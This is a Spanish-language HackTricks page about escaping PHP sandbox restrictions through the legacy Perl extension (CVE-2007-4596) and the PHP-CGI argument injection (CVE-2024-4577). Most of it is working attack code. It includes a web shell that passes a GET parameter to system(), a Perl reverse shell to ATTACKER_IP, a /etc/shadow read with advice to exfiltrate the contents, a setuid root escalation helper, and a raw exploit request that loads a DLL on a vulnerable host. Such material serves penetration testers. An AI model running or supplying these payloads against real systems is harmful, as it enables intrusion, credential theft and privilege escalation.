PHP Perl Extension Safe_mode Bypass Exploit
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Antecedentes
El problema registrado como CVE-2007-4596 proviene de la extensión perl legacy de PHP, que incrusta un intérprete Perl completo sin respetar los controles safe_mode, disable_functions o open_basedir de PHP. Cualquier worker PHP que cargue extension=perl.so obtiene eval de Perl sin restricciones, por lo que la ejecución de comandos sigue siendo trivial incluso cuando se bloquean todos los primitivos clásicos de creación de procesos en PHP. Aunque safe_mode desapareció en PHP 5.4, muchas pilas de hosting compartido obsoletas y labs vulnerables todavía lo incluyen, por lo que este bypass sigue siendo valioso cuando aterrizas en paneles de control heredados.
Compatibilidad y estado del empaquetado (2025)
- La última release de PECL (
perl-1.0.1, 2013) apunta a PHP ≥5.0; PHP 8+ generalmente falla porque las APIs de Zend cambiaron. - PECL está siendo reemplazado por PIE, pero las pilas antiguas todavía incluyen PECL/pear. Usa el flujo a continuación en objetivos PHP 5/7; en PHP más recientes espera tener que degradar o cambiar a otra ruta de inyección (por ejemplo, userland FFI).
Montar un entorno de pruebas en 2025
- Descarga
perl-1.0.1desde PECL, compílalo para la rama de PHP que planeas atacar y cárgalo globalmente (php.ini) o víadl()(si está permitido). - Receta rápida para laboratorio basada en Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
- Durante la explotación confirma la disponibilidad con
var_dump(extension_loaded('perl'));oprint_r(get_loaded_extensions());. Si falta, buscaperl.soo abusa de entradasphp.ini/.user.inicon permisos de escritura para forzar su carga. - Como el intérprete vive dentro del worker PHP, no se necesitan binarios externos: los filtros de salida de red o las listas negras de
proc_openno importan.
Cadena de compilación en el host cuando phpize es accesible
Si phpize y build-essential están presentes en el host comprometido, puedes compilar y dejar perl.so sin invocar al shell del sistema operativo:
# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini
Si open_basedir está aplicado, asegúrate de que el .user.ini y la .so colocados residan en una ruta permitida; la directiva extension= sigue siendo respetada dentro del basedir. El flujo de compilación replica el manual de PHP para construir extensiones PECL.
PoC original (NetJackal)
Desde http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, aún útil para confirmar que la extensión responde a eval:
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>
Mejoras modernas de Payload
1. TTY completo sobre TCP
El intérprete embebido puede cargar IO::Socket incluso si /usr/bin/perl está bloqueado:
$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN, '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);
2. File-System Escape incluso con open_basedir
Perl ignora open_basedir de PHP, por lo que puedes leer archivos arbitrarios:
$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
Envía la salida a través de IO::Socket::INET o Net::HTTP para exfiltrate data sin tocar los descriptores gestionados por PHP.
3. Compilación inline para Privilege Escalation
Si Inline::C existe a nivel del sistema, compila helpers dentro de la solicitud sin depender de ffi o pcntl de PHP:
$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);
4. Living-off-the-Land Enumeration
Trata a Perl como un toolkit LOLBAS — p. ej., volcar MySQL DSNs incluso si mysqli no está disponible:
$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
2024+ Abuse: Loading perl.so via PHP-CGI Argument Injection (CVE-2024-4577)
En instalaciones Windows que aún exponen PHP-CGI, la regresión de inyección de argumentos de 2024 (CVE-2024-4577) permite pasar opciones -d arbitrarias al intérprete. Eso significa que puedes cargar la extensión Perl incluso cuando dl() está deshabilitado y php.ini es de solo lectura:
- Build or upload a compatible
perl.dll/perl.soto a web-writable path (e.g.,C:\xampp\htdocs\temp\perl.dll). - Envía una única solicitud HTTP que inyecte
-d extension=C:\\xampp\\htdocs\\temp\\perl.dlly, en el mismo cuerpo de la solicitud, un payload respaldado por Perl:
POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>
Porque el PHP worker ahora incrusta Perl antes de leer el cuerpo, todos los controles clásicos de disable_functions/open_basedir quedan eludidos. Esto funciona en stacks Windows/CGI vulnerables hasta que se parchea (PHP 8.1.29/8.2.20/8.3.8 y posteriores corrigen la regresión). Si open_basedir bloquea la ruta del DLL, deja el archivo dentro del directorio base permitido primero o aprovecha una ruta de DLL con permisos de lectura mundial ya presente en XAMPP.
References
- CVE-2007-4596 summary and timeline
- PECL perl extension package information
- PHP Manual: building PECL extensions with phpize
- PECL homepage announcing PIE replacement
- CVE-2024-4577 PHP-CGI argument injection PoC
- Plesk advisory summarizing CVE-2024-4577 impact and patched versions
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


